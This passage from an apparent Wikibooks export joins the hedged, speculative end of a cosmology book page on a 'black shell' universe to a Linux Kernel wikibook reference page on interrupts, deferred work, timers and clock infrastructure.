Provided that the '''angular momentum''' of all visible galaxies does not add up to zero&lt;ref&gt;{{Cite journal |last=Lior |first=Shamir, |date=2025-02-28 |title=The distribution of galaxy rotation in JWST Advanced Deep Extragalactic Survey |url=https://academic.oup.com/mnras/article/538/1/76/8019798 |journal=Monthly Notices of the Royal Astronomical Society |language=en |volume=538 |issue=1 |doi=10.1093/mnra |issn=0035-8711}}&lt;/ref&gt;, the angular momentum of the entire universe could be enhanced, weakened, compensated to zero or even overcompensated by the angular momentum of the invisible black shell. The moment of inertia &lt;math&gt;I_{shell}&lt;/math&gt; of a thin shell with the mass &lt;math&gt;m&lt;/math&gt; and the radius &lt;math&gt;r&lt;/math&gt; is about 67 percent higher than the moment of inertia &lt;math&gt;I_{sphere}&lt;/math&gt; of a solid sphere with the same mass and radius. This can be computed by the ratio of the two moments of inertia:

:&lt;math&gt;\frac {I_{shell}} {I_{sphere}} \approx \frac {\frac {2} {3} m r^2} {\frac {2} {5} m r^2} = \frac {5} {3} = 1.\overline{666}&lt;/math&gt;

If matter and '''antimatter''' were created in equal parts during the Big Bang, it would be conceivable that the visible universe consists of the remaining matter and the black shell of the remaining antimatter. This could be a reason for the observed '''baryon asymmetry'''. Since we cannot obtain any information from the black shell, antimatter would not be observable for us. Furthermore, any electromagnetic radiation that leaves the visible universe by passing the limit of the Schwarzschild distance into the black shell cannot return to us or be observed by us.

If the total mass of the universe &lt;math&gt;M_{universe,total}&lt;/math&gt;, including the visible universe and the invisible black shell, were constant, and the size of the expanding universe were always determined by its Schwarzschild radius, the gravitational constant 
&lt;math&gt;G&lt;/math&gt; would be a variable that increases very slowly and linearly with time &lt;math&gt;t&lt;/math&gt;:

:&lt;math&gt;G(t) = \frac {c^3} {M_{universe,total}} \, t&lt;/math&gt;

However, the computation of the equations of motion based on retarded gravitational forces becomes very expensive, if the black shell is neither homogeneous, nor spherical or symmetrical, or if the concept of spacetime has a structure based on a non-Euclidean geometry. Furthermore, relativistic effects (including the transverse Doppler effect) could cause time dilatation or mass increase that would have to be considered, too. Finally, is would be necessary to consider the loss of mass in the visible universe over the time, since a significant amount of visible matter may have traversed the event horizon that is caused by the huge mass in the black shell of the universe.

It is even conceivable that our universe is becoming heavier due to the accretion of matter from outer regions:

:&lt;math&gt;\frac {\mathrm {d} M_{universe,total}} {\mathrm {d} t} &gt; 0&lt;/math&gt;

Viewed from the outside, this matter would disappear into a black hole. Since this matter would remain within the black shell, it cannot be seen from the inside, but its gravitational forces would affect all matter inside.
&lt;div style=&quot;clear:both&quot;&gt;&lt;/div&gt;

===References===
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{{Print version notice}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Preface}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Brief historical review}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Classical approach}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Retarded gravitational potentials}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Gravitational redshift}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Cosmology of retarded interaction}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Conclusion}}
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=Appendix=
{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Table with computed results}}
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{{:Moving objects in retarded gravitational potentials of an expanding spherical shell/Java program}}
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  </page>
  <page>
    <title>The Linux Kernel/Multitasking/CPU</title>
    <ns>0</ns>
    <id>475313</id>
    <revision>
      <id>4670485</id>
      <parentid>4670408</parentid>
      <timestamp>2026-09-16T18:19:03Z</timestamp>
      <contributor>
        <username>Conan</username>
        <id>3188</id>
      </contributor>
      <minor />
      <comment>tick_dep_bits</comment>
      <origin>4670485</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="61197" sha1="mzrtw27v0mgxgtkkgly5tawtitswttf" xml:space="preserve">&lt;noinclude&gt;{{DISPLAYTITLE:Interrupts and CPU}}&lt;/noinclude&gt;
== Interrupts ==
An {{w|interrupt}} is a signal to the processor emitted by hardware or software indicating an event that needs immediate attention.
An interrupt alerts the processor to a high-priority condition requiring the interruption of the current code the processor is executing.
The processor responds by suspending its current activities, saving its state, and executing a function called an ''interrupt handler'' (or an interrupt service routine, ISR) to deal with the event.
This interruption is temporary, and, after the interrupt handler finishes, the processor resumes normal activities.

There are two types of interrupts: hardware interrupts and software interrupts.
Hardware interrupts are used by devices to communicate that they require attention from the operating system.
For example, pressing a key on the keyboard or moving the mouse triggers hardware interrupts that cause the processor to read the keystroke or mouse position.
Unlike the software type, hardware interrupts are asynchronous and can occur in the middle of instruction execution, requiring additional care in programming.
The act of initiating a hardware interrupt is referred to as an ''interrupt request'' - IRQ ↪ {{w|Interrupt descriptor table|IDT}} ↪ {{The Linux Kernel/id|common_interrupt}} on x86.

A software interrupt is caused either by an exceptional condition in the processor itself, or a special instruction in the instruction set which causes an interrupt when it is executed.
The former is often called a ''{{w|Trap (computing)|trap}}'' (⚙️ {{The Linux Kernel/id|do_trap}}) or ''exception'' and is used for errors or events occurring during program execution that are exceptional enough that they cannot be handled within the program itself.
For example, if the processor's arithmetic logic unit is commanded to divide a number by zero, this impossible demand will cause a ''divide-by-zero exception'' (⚙️ {{The Linux Kernel/id|X86_TRAP_DE}}), perhaps causing the computer to abandon the calculation or display an error message.
Software interrupt instructions function similarly to subroutine calls and are used for a variety of purposes, such as to request services from low-level system software such as device drivers.
For example, computers often use software interrupt instructions to communicate with the disk controller to request data be read or written to the disk.

Each interrupt has its own interrupt handler.  The number of hardware interrupts is limited by the number of interrupt request (IRQ) lines to the processor, but there may be hundreds of different software interrupts.


⚲ API

: /proc/interrupts
: {{The Linux Kernel/man|1|irqtop}} &amp;ndash; utility to display kernel interrupt information
: [https://github.com/Irqbalance/irqbalance irqbalance] &amp;ndash; distribute hardware interrupts across processors on a multiprocessor system
: There are many ways to request ISR, two of them
: {{The Linux Kernel/id|devm_request_threaded_irq}} &amp;ndash; preferable, managed device with threaded ISR
: {{The Linux Kernel/id|devm_request_irq}} &amp;ndash; managed version
:: {{The Linux Kernel/id|request_irq}}
::: {{The Linux Kernel/id|request_threaded_irq}}
: {{The Linux Kernel/id|free_irq}}
: {{The Linux Kernel/include|linux/interrupt.h}} &amp;ndash; main interrupt support header
:: {{The Linux Kernel/id|irqaction}} &amp;ndash; contains handler functions
: {{The Linux Kernel/source|rust/kernel/irq.rs}} – Rust bindings 
: {{The Linux Kernel/include|linux/irq.h}}
:: {{The Linux Kernel/id|irq_data}}
: {{The Linux Kernel/include|linux/irqflags.h}}
:: {{The Linux Kernel/id|irqs_disabled}}
:: {{The Linux Kernel/id|local_irq_save}} ...
:: {{The Linux Kernel/id|local_irq_disable}} ...
: {{The Linux Kernel/include|linux/irqdesc.h}}
:: {{The Linux Kernel/id|irq_desc}}
: {{The Linux Kernel/include|linux/irqdomain.h}}
:: {{The Linux Kernel/id|irq_domain}} &amp;ndash; hardware interrupt number translation object
:: {{The Linux Kernel/id|irq_domain_get_irq_data}}
: {{The Linux Kernel/include|linux/msi.h}} &amp;ndash; {{w|Message Signaled Interrupts}}
:: {{The Linux Kernel/id|msi_desc}}
: Structure of structures:
:: {{The Linux Kernel/id|irq_desc}} is container of
::: {{The Linux Kernel/id|irq_data}}
:::: irq &amp;ndash; interrupt number
::: {{The Linux Kernel/id|irq_common_data}}
::: list of {{The Linux Kernel/id|irqaction}}


⚙️ Internals

: {{The Linux Kernel/source|kernel/irq/settings.h}} &amp;ndash; IRQ descriptor status flags
: {{The Linux Kernel/source|kernel/irq}} &amp;ndash; generic IRQ handling
:: {{The Linux Kernel/source|kernel/irq/internals.h}} &amp;ndash; IRQ subsystem internal functions
: ls /sys/kernel/debug/irq/domains/
:: {{The Linux Kernel/id|x86_vector_domain}}, {{The Linux Kernel/id|x86_vector_domain_ops}}
: {{The Linux Kernel/id|irq_chip}}
: {{The Linux Kernel/id|load_idt}} &amp;ndash; load Interrupt Descriptor Table
: {{The Linux Kernel/source|arch/x86/include/asm/idtentry.h}} &amp;ndash; interrupt entry/exit definitions
: {{The Linux Kernel/source|arch/x86/include/asm/hw_irq.h}} &amp;ndash; x86 hardware IRQ definitions
:: {{The Linux Kernel/id|irq_entries_start}} &amp;ndash; hardware IRQ entry stubs
: {{The Linux Kernel/source|arch/x86/kernel/irq.c}} &amp;ndash; x86 interrupt handling
:: {{The Linux Kernel/id|common_interrupt}} &amp;ndash; handles all normal device IRQs on x86
: {{The Linux Kernel/source|arch/x86/kernel/apic}} &amp;ndash; {{w|Advanced Programmable Interrupt Controller|APIC}}
:: {{The Linux Kernel/source|arch/x86/kernel/apic/apic.c}} &amp;ndash; local APIC core (timer, calibration, spurious interrupt)
:: {{The Linux Kernel/source|arch/x86/kernel/apic/io_apic.c}} &amp;ndash; {{w|IOAPIC|I/O APIC}}, routes device IRQs to CPUs
:: {{The Linux Kernel/source|arch/x86/kernel/apic/x2apic_cluster.c}} &amp;ndash; {{w|x2APIC}} (&gt;256 CPUs)
:: {{The Linux Kernel/source|arch/x86/kernel/apic/ipi.c}} &amp;ndash; {{w|Inter-processor interrupt|IPI}}, see [[#IPI|IPI]]
:: {{The Linux Kernel/source|arch/x86/kernel/apic/hw_nmi.c}} &amp;ndash; hardware NMI watchdog via APIC
:: {{The Linux Kernel/source|arch/x86/kernel/apic/vector.c}} &amp;ndash; IRQ vector allocation
:: {{The Linux Kernel/source|arch/x86/kernel/apic/msi.c}} &amp;ndash; {{w|Message Signaled Interrupts|MSI}} via APIC

📖 References
: {{The Linux Kernel/doc|IRQs|core-api/irq}}
:: {{The Linux Kernel/doc|The irq_domain interrupt number mapping library|core-api/irq/irq-domain.html}}
: {{The Linux Kernel/doc|Linux generic IRQ handling|core-api/genericirq.html}}
: {{The Linux Kernel/doc|Message Signaled Interrupts: The MSI Driver Guide|PCI/msi-howto.html}}
: {{The Linux Kernel/doc|Lock types and their rules|locking/locktypes.html}}
: {{The Linux Kernel/doc|Hard IRQ Context|kernel-hacking/locking.html#hard-irq-context}}
: [https://0xax.gitbooks.io/linux-insides/content/Interrupts/ Interrupts]


👁 Examples
: {{The Linux Kernel/id|dummy_irq_chip}} &amp;ndash; dummy interrupt chip implementation
: {{The Linux Kernel/source|lib/locking-selftest.c}} &amp;ndash; locking correctness self-tests


=== IRQ affinity ===

⚲ API
: /proc/irq/default_smp_affinity
: /proc/irq/*/smp_affinity and /proc/irq/*/smp_affinity_list


Common types and functions:
: struct {{The Linux Kernel/id|irq_affinity}} &amp;ndash; description for automatic irq affinity assignments, see {{The Linux Kernel/id|devm_platform_get_irqs_affinity}}
: struct {{The Linux Kernel/id|irq_affinity_desc}} &amp;ndash; interrupt affinity descriptor, see {{The Linux Kernel/id|irq_update_affinity_desc}}, {{The Linux Kernel/id|irq_create_affinity_masks}}
: {{The Linux Kernel/id|irq_set_affinity}}
: {{The Linux Kernel/id|irq_get_affinity_mask}} 
: {{The Linux Kernel/id|irq_can_set_affinity}}
: {{The Linux Kernel/id|irq_set_affinity_hint}} 
: {{The Linux Kernel/id|irqd_affinity_is_managed}} 
: {{The Linux Kernel/id|irq_data_get_affinity_mask}}
: {{The Linux Kernel/id|irq_data_get_effective_affinity_mask}} 
: {{The Linux Kernel/id|irq_data_update_effective_affinity}} 
: {{The Linux Kernel/id|irq_set_affinity_notifier}} 
: {{The Linux Kernel/id|irq_affinity_notify}} 
: {{The Linux Kernel/id|irq_chip_set_affinity_parent}} 
: {{The Linux Kernel/id|irq_set_vcpu_affinity}}


🛠️ Utilities
: [https://man.archlinux.org/man/extra/irqbalance/irqbalance.1.en irqbalance] – distributes hardware interrupts across CPUs


📖 References
: {{The Linux Kernel/doc|SMP IRQ affinity|core-api/irq/irq-affinity.html}}
: [https://wiki.linuxfoundation.org/realtime/documentation/howto/tools/cpu-partitioning/start#irq_affinity IRQ affinity, LF]
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=managed_irq managed_irq kernel parameter], [https://lore.kernel.org/lkml/?q=managed_irq @LKML]
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=irqaffinity= irqaffinity kernel parameter], [https://lore.kernel.org/lkml/?q=irqaffinity @LKML]


=== Non-maskable interrupts ===

⚲ API
: {{The Linux Kernel/include|linux/nmi.h}}
:: {{The Linux Kernel/id|in_nmi}}
:: {{The Linux Kernel/id|touch_nmi_watchdog}}
:: ...
: {{The Linux Kernel/include|trace/events/nmi.h}}
: {{The Linux Kernel/source|arch/x86/include/asm/nmi.h}} &amp;ndash; x86 NMI handler registration
:: {{The Linux Kernel/id|register_nmi_handler}}
:: {{The Linux Kernel/id|unregister_nmi_handler}}


⚙️ Internals
: {{The Linux Kernel/source|arch/x86/kernel/nmi.c}} &amp;ndash; x86 NMI handler
: {{The Linux Kernel/source|arch/x86/kernel/apic/hw_nmi.c}} &amp;ndash; hardware NMI watchdog via APIC
: {{The Linux Kernel/source|arch/x86/kernel/nmi_selftest.c}} &amp;ndash; NMI IPI self-tests


📖 References
: {{The Linux Kernel/doc|NMI Trace Events|trace/events-nmi.html}}


📚 Further reading
: [https://0xax.gitbooks.io/linux-insides/content/Interrupts/linux-interrupts-6.html Non-maskable interrupt handler] (NMI)


=== ... ===

📚 Further reading about interrupts
: IDT &amp;ndash; {{w|Interrupt descriptor table}}
: [https://www.felixcloutier.com/x86/lgdt:lidt LGDT/LIDT &amp;ndash; Load Global/Interrupt Descriptor Table Register] asm instruction

== Deferred works ==

=== Scheduler context ===

==== kthread work ====

This framework simplifies the use of kernel kthreads.
A {{The Linux Kernel/id|kthread_work}} item can be queued with {{The Linux Kernel/id|kthread_queue_work}} and flushed using {{The Linux Kernel/id|kthread_flush_work}}.
All queued kthread_work items are processed by a dedicated kernel thread executing the {{The Linux Kernel/id|kthread_worker_fn}} function.

⚲ API
: {{The Linux Kernel/id|kthread_work}} &amp;ndash; contains {{The Linux Kernel/id|kthread_work_func_t}} to execute
:: {{The Linux Kernel/id|kthread_init_work}}
:: {{The Linux Kernel/id|kthread_flush_work}}
: {{The Linux Kernel/id|kthread_worker}} &amp;ndash; links a kthread_work and a task
:: {{The Linux Kernel/id|kthread_run_worker}} &amp;ndash; creates and wakes a kthread worker
::: {{The Linux Kernel/id|kthread_create_worker}}
::: {{The Linux Kernel/id|kthread_flush_worker}}
:: {{The Linux Kernel/id|kthread_destroy_worker}}
: {{The Linux Kernel/id|kthread_queue_work}} &amp;ndash; queues a kthread_work on a kthread_worker


⚙️ Internals
: {{The Linux Kernel/id|__kthread_create_worker_on_node}}
: {{The Linux Kernel/id|kthread_worker_fn}} &amp;ndash; executes work's function


👁 Example usages
: {{The Linux Kernel/id|watchdog_kworker}}, {{The Linux Kernel/id|pwq_release_worker}}, {{The Linux Kernel/id|pump_messages}}

==== Threaded IRQ ====

⚲ API
{{The Linux Kernel/id|devm_request_threaded_irq}}, {{The Linux Kernel/id|request_threaded_irq}}
ISR should return IRQ_WAKE_THREAD to run thread function

⚙️ Internals
: {{The Linux Kernel/id|setup_irq_thread}}, {{The Linux Kernel/id|irq_thread}}
: {{The Linux Kernel/source|kernel/irq/manage.c}} &amp;ndash; IRQ request, free and affinity management

📖 References
: {{The Linux Kernel/doc|request_threaded_irq|core-api/genericirq.html#c.request_threaded_irq}}


==== Work and workqueue ====

Generic async execution with shared worker pool.

⚲ API
: {{The Linux Kernel/id|PF_WQ_WORKER}} &amp;ndash; workqueue worker process flag
: {{The Linux Kernel/include|linux/workqueue.h}}, {{The Linux Kernel/include|linux/workqueue_types.h}}
: {{The Linux Kernel/source|rust/kernel/workqueue.rs}} – Rust bindings
: {{The Linux Kernel/id|work_struct}}, {{The Linux Kernel/id|INIT_WORK}}
: {{The Linux Kernel/id|delayed_work}}, {{The Linux Kernel/id|INIT_DELAYED_WORK}}, {{The Linux Kernel/id|cancel_delayed_work_sync}}
: {{The Linux Kernel/id|workqueue_struct}}
:: {{The Linux Kernel/id|devm_alloc_workqueue}}
::: {{The Linux Kernel/id|alloc_workqueue}}
:: {{The Linux Kernel/id|destroy_workqueue}}
: {{The Linux Kernel/id|schedule_work}} &amp;ndash; queues work on the system workqueue ↯
:: {{The Linux Kernel/id|queue_work}} &amp;ndash; queues work on a workqueue
::: {{The Linux Kernel/id|queue_work_on}} &amp;ndash; on a specific CPU
: {{The Linux Kernel/id|show_all_workqueues}}
:: {{The Linux Kernel/id|show_one_workqueue}}
: {{The Linux Kernel/id|system_power_efficient_wq}} ...


👁 Example usage {{The Linux Kernel/source|samples/ftrace/sample-trace-array.c}}


⚙️ Internals
: {{The Linux Kernel/source|kernel/workqueue.c}} &amp;ndash; generic async execution with shared worker pool
:: {{The Linux Kernel/id|workqueue_init}}
::: {{The Linux Kernel/id|create_worker}}
:::: {{The Linux Kernel/id|worker_thread}}
::::: {{The Linux Kernel/id|process_one_work}}
:: {{The Linux Kernel/id|format_worker_id}} &amp;ndash; names kworker kthreads
:: {{The Linux Kernel/id|pool_workqueue}}
::: {{The Linux Kernel/id|worker_pool}}


📖 References
: {{The Linux Kernel/doc|Concurrency Managed Workqueue|core-api/workqueue.html}}
: [https://sysprog21.github.io/lkmpg/#work-queues LKMPG: Work queues]

=== Interrupt context ===

: {{The Linux Kernel/include|linux/irq_work.h}} &amp;ndash; run callbacks from hardirq or NMI context where normal work queues can't be used
:: {{The Linux Kernel/id|irq_work_queue}} &amp;ndash; enqueue work on the current CPU, triggers {{The Linux Kernel/id|IRQ_WORK_VECTOR}} IPI if needed
:: {{The Linux Kernel/id|irq_work_sync}} &amp;ndash; wait for completion
:: {{The Linux Kernel/source|kernel/irq_work.c}} &amp;ndash; irq_work implementation
:: 👁 {{The Linux Kernel/source|samples/trace_printk/trace-printk.c}}

==== Timers ====

&lt;i&gt;Not to be confused with
[[The_Linux_Kernel/Multitasking#POSIX_Timers|POSIX timer]] – userspace API,
[[The_Linux_Kernel/Debugging#Watchdogs|watchdog timer]] – hang detection,
[[#Clock_infrastructure|local APIC timer]] – per-CPU hardware, drives the tick.&lt;/i&gt;

===== timer softirq =====

''Not to be confused with nanosecond-resolution [[#High-resolution_timer|high-resolution timer]].''

This timer is a softirq for periodical tasks with jiffies resolution.
Also known as kernel timer or timer wheel.

⚲ API
: {{The Linux Kernel/include|linux/timer.h}}
: {{The Linux Kernel/id|timer_list}}, {{The Linux Kernel/id|DEFINE_TIMER}}, {{The Linux Kernel/id|timer_setup}}
: {{The Linux Kernel/id|mod_timer}} &amp;mdash; sets expiration time in jiffies. 
: {{The Linux Kernel/id|timer_delete}}


⚙️ Internals
: {{The Linux Kernel/source|kernel/time/timer.c}} – kernel internal timers
:: {{The Linux Kernel/id|timer_bases}} – per-CPU array of {{The Linux Kernel/id|timer_base}} (timing wheel):
::: BASE_LOCAL – pinned to this CPU ({{The Linux Kernel/id|TIMER_PINNED}})
::: BASE_GLOBAL – can be run remotely by [[#Tick_and_NO_HZ|migrator]] via {{The Linux Kernel/id|timer_expire_remote}}
::: BASE_DEF – deferrable, can be delayed indefinitely
:: {{The Linux Kernel/id|run_timer_softirq}} – {{The Linux Kernel/id|TIMER_SOFTIRQ}} handler
::: {{The Linux Kernel/id|__run_timer_base}} – iterate expired timers and call callbacks


👁 Examples
: {{The Linux Kernel/id|input_enable_softrepeat}} and {{The Linux Kernel/id|input_start_autorepeat}}


📚 References
: {{The Linux Kernel/doc|Time and timer routines|driver-api/basics.html#time-and-timer-routines}}
:: {{The Linux Kernel/doc|timer_init_key ... |driver-api/basics.html#c.timer_init_key}}

===== High-resolution timer =====

''Not to be confused with jiffies-resolution [[#timer_softirq|timer softirq]].''

⚲ API
: /proc/timer_list
: {{The Linux Kernel/doc|/proc/sys/kernel/timer_migration|admin-guide/sysctl/kernel.html#timer-migration}} – enable/disable hrtimer migration
: {{The Linux Kernel/include|linux/hrtimer_defs.h}}
: {{The Linux Kernel/include|linux/hrtimer.h}}
: {{The Linux Kernel/id|hrtimer}}, hrtimer.function &amp;mdash; callback
: {{The Linux Kernel/id|hrtimer_setup}}
&lt;!-- hrtimer_init removed, replaced by hrtimer_setup --&gt;
: {{The Linux Kernel/id|hrtimer_start}} &amp;mdash; starts a timer with nanosecond resolution 
: {{The Linux Kernel/id|hrtimer_cancel}}


👁 Examples {{The Linux Kernel/id|alarm_init}}, {{The Linux Kernel/id|watchdog_enable}}


⚙️ Internals
: {{The Linux Kernel/id|CONFIG_HIGH_RES_TIMERS}}
: {{The Linux Kernel/source|kernel/time/tick-internal.h}} &amp;ndash; tick and timer internal definitions
:: {{The Linux Kernel/id|hrtimer_bases}} – per-CPU {{The Linux Kernel/id|hrtimer_cpu_base}}, contains 8 clock bases:
::: {{The Linux Kernel/id|hrtimer_clock_base}} – timerqueue per clock type per CPU
::: {{The Linux Kernel/id|hrtimer_base_type}} – MONOTONIC, REALTIME, BOOTTIME, TAI (× hardirq + softirq = 8)
: {{The Linux Kernel/source|kernel/time/hrtimer.c}} – high-resolution timer implementation
:: {{The Linux Kernel/id|hrtimer_interrupt}} – called from clock event device, expires hardirq timers
::: {{The Linux Kernel/id|__hrtimer_run_queues}} – walk timerqueue, call expired callbacks
:: {{The Linux Kernel/id|hrtimer_run_softirq}} – {{The Linux Kernel/id|HRTIMER_SOFTIRQ}} handler, expires HRTIMER_MODE_SOFT timers
::: {{The Linux Kernel/id|__hrtimer_run_queues}}
: {{The Linux Kernel/source|kernel/time/itimer.c}} – interval timers
: {{The Linux Kernel/source|kernel/time/timer_list.c}} &amp;ndash; /proc/timer_list debugfs


📚 HR timers references
: {{The Linux Kernel/doc|High-resolution timers|driver-api/basics.html#high-resolution-timers}}
: {{The Linux Kernel/doc|hrtimers - subsystem for high-resolution kernel timers|timers/hrtimers.html}}
: {{The Linux Kernel/doc|high resolution timers and dynamic ticks design notes|timers/highres.html}}

===== Tick and NO_HZ =====

The tick is the periodic timer interrupt that drives scheduling, timekeeping, and RCU.
The NO_HZ subsystem reduces or eliminates tick interrupts to save power and reduce latency.

⚲ API
: /sys/devices/system/cpu/nohz_full – active nohz_full CPUs
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=nohz_full= nohz_full=] boot parameter – list of CPUs to run tickless
: {{The Linux Kernel/include|linux/tick.h}} – tick control API
:: {{The Linux Kernel/id|tick_nohz_full_running}} – true if any CPU runs tickless
:: {{The Linux Kernel/id|tick_nohz_full_cpu}} – true if given CPU runs tickless
:: enum {{The Linux Kernel/id|tick_dep_bits}} – reasons a CPU/task/signal may need the tick (posix timer, perf events, sched, unstable clock, RCU, RCU expedited)
:: {{The Linux Kernel/id|tick_nohz_dep_set}} ... – modify a global tick dependency bit, used by perf for unstable clocks; kicks all full-nohz CPUs to restart their tick
: {{The Linux Kernel/id|sched_tick_remote}} – remote CPU updates scheduler stats (load, timeslice) for nohz_full CPUs via delayed work
: {{The Linux Kernel/doc|/proc/sys/kernel/timer_migration|admin-guide/sysctl/kernel.html#timer-migration}} – enable/disable hrtimer migration

🪛 Compile-time configurations ({{The Linux Kernel/source|kernel/time/Kconfig}})
: {{The Linux Kernel/id|CONFIG_HZ_PERIODIC}} – constant-rate tick, always firing
: {{The Linux Kernel/id|CONFIG_NO_HZ_IDLE}} – stop tick when CPU is idle (default on most distros)
: {{The Linux Kernel/id|CONFIG_NO_HZ_FULL}} – stop tick even when running a single task, for RT and latency-sensitive workloads, see [[#CPU_isolation|CPU isolation]]

⚙️ Internals
: {{The Linux Kernel/source|kernel/time/tick-common.c}} – periodic tick setup
: {{The Linux Kernel/source|kernel/time/tick-oneshot.c}} – oneshot mode for hrtimers and NO_HZ
: {{The Linux Kernel/source|kernel/time/tick-sched.c}} – NO_HZ tick scheduling logic
:: {{The Linux Kernel/id|tick_nohz_handler}} – hrtimer callback driving the tick, rearmed at TICK_NSEC until idle/full-dynticks stops it
:: {{The Linux Kernel/id|tick_nohz_init}} – enable full nohz on boot if requested and supported
: {{The Linux Kernel/source|kernel/time/tick-broadcast.c}} – broadcast tick for CPUs in deep idle where local timer stops ([[#Idle|C3+]])
: tick_dependency:
:: {{The Linux Kernel/id|sched_update_tick_dependency}} – modifies the {{The Linux Kernel/id|TICK_DEP_BIT_SCHED}} scheduler tick dependency bit in {{The Linux Kernel/id|tick_dep_mask}}
::: {{The Linux Kernel/id|sched_can_stop_tick}} – true if a runqueue has at most one runnable task and can go tickless
:: {{The Linux Kernel/id|can_stop_full_tick}} – decide if a full-dynticks CPU can stop its tick, checking CPU online state and the {{The Linux Kernel/id|tick_dep_mask}} tick dependencies
::: {{The Linux Kernel/id|check_tick_dependency}} – test one tick dependency mask (global, CPU, task, signal) for a pending reason to keep the tick running
: {{The Linux Kernel/source|kernel/time/timer_migration.h}}, {{The Linux Kernel/source|kernel/time/timer_migration.c}} – migrate timer softirq (BASE_GLOBAL) from idle to busy CPUs via hierarchical groups
:: {{The Linux Kernel/id|tmigr_cpu_activate}} – CPU joins migration hierarchy on online
:: {{The Linux Kernel/id|tmigr_handle_remote}} – migrator CPU fires expired timers on behalf of idle CPUs
::: {{The Linux Kernel/id|timer_expire_remote}} → {{The Linux Kernel/id|__run_timer_base}}
:: {{The Linux Kernel/id|tmigr_update_events}} – propagate timer events up/down the hierarchy
:: /sys/kernel/debug/tracing/events/timer_migration/ – tracepoints
: {{The Linux Kernel/doc|/proc/sys/kernel/timer_migration|admin-guide/sysctl/kernel.html#timer-migration}} – enable/disable hrtimer migration
:: {{The Linux Kernel/id|timers_migration_enabled}}
::: Used in:
::: {{The Linux Kernel/id|switch_hrtimer_base}} – move hrtimer to target CPU base at enqueue time
:::: {{The Linux Kernel/id|get_target_base}} – select hrtimer_cpu_base, migrates to busy CPU if not pinned
::::: {{The Linux Kernel/id|get_nohz_timer_target}} – pick busy CPU
::: {{The Linux Kernel/id|hrtimer_prefer_local}}

📖 References
: {{The Linux Kernel/doc|NO_HZ: Reducing Scheduling-Clock Ticks|timers/no_hz.html}}
: [https://wiki.linuxfoundation.org/realtime/documentation/howto/tools/ticklesskernel Tickless kernel, RT wiki]
: {{The Linux Kernel/doc|high resolution timers and dynamic ticks design notes|timers/highres.html}}

===== Clock infrastructure =====

&lt;i&gt;Not to be confused with
[[The_Linux_Kernel/System#Hardware_Device_Drivers|drivers/clk framework]] – SoC {{w|Clock signal|clock}} tree management.&lt;/i&gt;

Clocksources read current time (passive counters).
Clock event devices fire interrupts at a programmed time (active).
Together they are the foundation for timekeeping, timers, tick, and NO_HZ.


⚲ Clocksources – &quot;what time is it?&quot;
: /sys/devices/system/clocksource/clocksource0/current_clocksource
: /sys/devices/system/clocksource/clocksource0/available_clocksource
:: {{w|Time Stamp Counter|TSC}} – fastest, per-CPU, x86
:: {{w|High Precision Event Timer|HPET}} – system-wide, MMIO
:: ACPI PM timer – never stops in any C-state, slow
: {{The Linux Kernel/include|linux/clocksource.h}} – {{The Linux Kernel/id|clocksource}}, {{The Linux Kernel/id|clocksource_register_hz}}


⚲ Clock event devices – &quot;wake me at time X&quot;
: {{The Linux Kernel/include|linux/clockchips.h}} – {{The Linux Kernel/id|clock_event_device}}, {{The Linux Kernel/id|clockevents_config_and_register}}
: Local {{w|Advanced Programmable Interrupt Controller|APIC}} timer – per-CPU, fastest, stops in [[#Idle|C3+]], {{The Linux Kernel/id|local_apic_timer_interrupt}}
: {{w|High Precision Event Timer|HPET}} – system-wide, used as broadcast fallback
&lt;!-- PIT (i8254) – legacy, stopped at boot on modern hardware --&gt;


⚙️ Internals
: {{The Linux Kernel/source|kernel/time/clocksource.c}} – clocksource selection and watchdog
: {{The Linux Kernel/source|kernel/time/clockevents.c}} – clock event device framework
: {{The Linux Kernel/source|kernel/time/jiffies.c}} – jiffies clocksource (fallback)


===== ... =====

📖 Timers references
: {{The Linux Kernel/doc|Timers|timers}}
: [https://lwn.net/Articles/913568/ Better CPU selection for timer expiration]

==== Tasklet ====

tasklet is a softirq, for time critical operations

⚲ API is deprecated in favor of threaded IRQs: {{The Linux Kernel/id|devm_request_threaded_irq}}
: {{The Linux Kernel/id|tasklet_struct}}, {{The Linux Kernel/id|tasklet_init}}, {{The Linux Kernel/id|tasklet_schedule}}


⚙️ Internals: {{The Linux Kernel/id|tasklet_action_common}} HI_SOFTIRQ, TASKLET_SOFTIRQ


==== Softirq ====

softirq is internal system facility and should not be used directly.
Use tasklet or threaded IRQs

⚲ API
: {{The Linux Kernel/include|linux/interrupt.h}}
: cat /proc/softirqs
: {{The Linux Kernel/id|open_softirq}} registers {{The Linux Kernel/id|softirq_action}}
: {{The Linux Kernel/id|raise_softirq}}
: {{The Linux Kernel/id|tasklet_schedule}}
:: {{The Linux Kernel/id|__tasklet_schedule}}


⚙️ Internals
: {{The Linux Kernel/source|kernel/softirq.c}} &amp;ndash; software interrupt handling
:: {{The Linux Kernel/id|__do_softirq}} &amp;ndash; main softirq processing loop


📖 References
: [https://0xax.gitbooks.io/linux-insides/content/Interrupts/linux-interrupts-9.html Introduction to deferred interrupts (Softirq, Tasklets and Workqueues)]
: [https://0xax.gitbooks.io/linux-insides/content/Timers/ Timers and time management]
: [https://linux-kernel-labs.github.io/refs/heads/master/labs/deferred_work.html Deferred work, linux-kernel-labs]
: [https://www.oreilly.com/library/view/linux-device-drivers/0596005903/ch07.html Chapter 7. Time, Delays, and Deferred Work]

==CPU specific==


🖱️ GUI
: [https://manpages.ubuntu.com/manpages/kinetic/en/man8/tuna.8.html tuna] &amp;ndash; program for tuning running processes


⚲ API
: cat /proc/cpuinfo
: /sys/devices/system/cpu/
: /sys/devices/system/node/
: /sys/cpu/
: /sys/fs/cgroup/cpu/
: grep -i cpu /proc/self/status
